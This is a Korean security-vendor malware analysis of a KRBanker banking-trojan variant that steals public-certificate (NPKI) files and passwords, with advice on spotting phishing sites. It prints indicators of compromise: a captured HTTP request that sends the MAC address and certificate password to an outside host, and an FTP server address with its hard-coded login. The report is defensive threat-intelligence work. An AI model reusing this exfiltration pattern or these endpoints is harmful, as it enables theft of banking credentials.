분석 정보/악성코드 분석 정보

[주의]실제 공인인증서 서비스에서 암호 탈취를 시도하는 악성파일

TACHYON & ISARC 2013. 1. 25. 18:38
1. 공인인증서 암호를 직접 겨냥한 KRBanker 변종 등장


국내 인터넷 뱅킹용 이용자들을 노린 악성파일(KRBanker) 변종이 거의 매일 새롭게 발견되고 있는 가운데, 최근 기존과 다른 형태의 악성파일 유형이 발견되었다. 지금까지 발견된 다양한 형태 중 대다수는 호스트파일(hosts)의 내용을 변경하여 정상적인 금융사이트 주소로 접속을 하더라도 피싱사이트로 연결되도록 조작하는 방식이 주로 이용되고 있다. 그외에 호스트파일(hosts)을 변경하지 않고 악성파일이 사용자의 인터넷 접속 사이트를 모니터링하다가 특정 금융사이트 주소에 접근시 피싱사이트로 웹 페이지를 교묘하게 바꿔치기 하는 수법 등이 존재한다. 이러한 방식은 모두 공통적으로 가짜로 만들어진 공인인증서 전자서명 로그인 화면을 보여주어 사용자가 입력하는 공인인증서 암호를 손쉽게 탈취할 수 있도록 만들어져 있다. 하지만 최근에 발견된 악성파일은 실제 공인인증서 화면에 가짜 폼을 교묘히 덮어씌어 입력되는 암호 자체를 탈취하기 시작했다.

이처럼 전자금융사기용 악성파일이 다각적인 방식을 도입하는 등 꾸준히 지능화되고 있다는 점을 명심하고, 전자금융서비스 이용자들 스스로 금융보안위협에 노출되지 않도록 각별히 주의해야 한다. 특히, 그 무엇보다 어떠한 경우라도 인터넷 뱅킹용 보안카드의 전체번호 모두를 동시에 입력하지 않도록 유념해야 한다.



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2. 악성파일 정보

이번에 발견된 악성파일(KRBanker)은 국내 특정 웹 사이트가 불법 변조되어, JAVA 보안취약점을 보유하고 있는 사용자가 사이트에 접속하는 것만으로 악성파일에 자동적으로 감염되도록 만들어져 있었다.


보안취약점에 노출되어 Dropper 기능의 1차 악성파일("RunIeHelpG.exe")에 감염되면, 윈도우즈(Windows) 하위 폴더에 "handownbak" 이름의 폴더가 생성되고, 내부에 "kbs.exe", "ftp.exe", "LoginMgr.dll", "DeleteAll.exe", "config.ini" 등의 악성파일이 추가로 생성되고 실행된다.


"kbs.exe" 파일은 한국어 프로그램 언어로 제작되어 있고, 원본파일명은 한국(han)과 은행(bank)을 의미하는 것으로 추정되는 "hanbank.exe" 이다.


사용자가 웹 브라우저를 이용해서 특정 인터넷 뱅킹 사이트에 접속을 시도하면 다음과 같이 "kbs.exe", "ftp.exe" 등이 실행되며, 사용자의 공인인증서(NPKI) 탈취시도와 함께 감염된 컴퓨터의 MAC주소, 공인인증서(NPKI) 로그인 암호 탈취 등이 시도된다.


"ftp.exe" 파일의 경우 110.34.233.146 주소의 FTP 주소로 로그인(a123/a123)하여 공인인증서(NPKI) 파일을 전송시도한다.


감염된 사용자가 실제 공인인증서 화면에서 로그인을 시도하게 되면 다음과 같이 MAC주소와 공인인증서 암호 등이 외부로 탈취시도된다. 아래 화면은 실제 공인인증서를 이용해서 테스트를 수행한 화면이며, 테스트에 사용된 "npki_pass_test" 값의 암호가 외부로 전송 시도되는 것을 확인해 볼 수 있다.


GET /web/ups/in.asp?mac=00-03-FF-08-B4-43&servname=kbstar.com&bankpass=&password=npki_pass_test HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2)
Host:
www.colorephone.com
Connection: Keep-Alive

앞서 설명한 바와 같이 공인인증서와 암호 탈취를 시도하는 과정에서 실제 금융권에서 서비스 중인 키보드보안 프로그램이 악성파일의 동작을 감지하여 다음과 같은 안내창을 띄우고, 강제로 웹페이지 접속을 차단하여, 실제 테스트에서는 공인인증서 다음 화면으로 이동하지는 못하였다.


악성파일 제작자들은 다양한 기법을 이용해서 전자금융사기용 악성파일(KRBanker)을 꾸준히 제작하고 있고, 거의 매일 새롭게 변종이 양산되어 유포 중이다. 아울러 피싱사이트 뿐만 아니라 실제 금융사이트의 정보를 직접 겨냥하여 탈취도 시도하고 있다는 점을 간과해서는 안될 것이다.

금일 오전에도 다양한 피싱사이트가 발견되었고, 피싱사이트의 메인 화면에는 아래와 같이 실제 존재하지 않는 팝업 화면을 출력하여 이용자들로 하여금 금융정보를 입력하도록 유혹하고 있다. 해당 피싱사이트는 한국인터넷진흥원(KISA) 종합상황실에 긴급으로 차단을 요청한 상태이다.


피싱사이트는 대부분 아래와 같이 평소와 다르게 금융정보를 과도하게 입력하도록 유도하며, 특히 보안카드의 모든 비밀번호를 입력하도록 하는 것이 특징이다. 국내의 어떠한 금융권도 보안카드의 모든 비밀번호를 동시에 요구하는 경우는 없다는 점을 명심한다면 유사한 보안위협을 효과적으로 예방할 수 있다.


3. 피싱 사이트 진위여부 판단 노하우


내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

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